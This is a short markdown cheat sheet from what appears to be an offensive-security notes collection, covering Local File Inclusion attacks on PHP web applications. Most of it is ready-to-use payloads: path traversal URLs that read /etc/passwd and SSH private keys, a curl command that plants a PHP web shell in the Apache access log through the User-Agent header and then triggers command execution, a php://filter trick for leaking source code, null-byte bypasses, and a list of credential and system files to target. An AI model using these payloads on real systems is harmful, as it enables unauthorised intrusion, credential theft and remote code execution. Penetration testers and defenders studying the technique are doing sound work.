killchain-compendium/exploit/web/local_file_inclusion.md

Local File Inclusion

To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like https://test.com/?file=robots.txt, the file may be changed.

• Acunetix article

Usage

• Exploit URL parameter by including other files.

http://example.com/home?page=about.html
http://example.com/home?page=/etc/passwd

* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
```
http://example.com/home?page=../../../../etc/passwd
```
or
```
http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
```

Log Poisoning

• Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
• www-data needs read & write permisson in order to do so.
• Include php code into the User-Agent header of the HTTP request. For example a GET parameter to deliver system commandsas follows

curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'

• Follow up with a request to

curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'

/proc/self/fd

• outpost24
• Log poisoning and opening logfile via /proc/self/fd/xx.

Base64 Encoding via PHP

• Circumvent filter via encoding local files included ins a GET parameter value

curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php

Files of Interest

• /etc/issue
• /etc/profile
• /proc/version
• /etc/passwd
• /etc/shadow
• /root/.bash_history
• /var/log/dmessage
• /var/mail/root
• /root/.ssh/id_rsa
• /var/log/apache2/access.log
• C:\boot.ini
• /proc/self/fd/xx

Tricks

• Terminate query with %00 or 0x00 does the trick until PHP 5.3.4
• Terminate query with /.
• ..//..//..//file, double slashes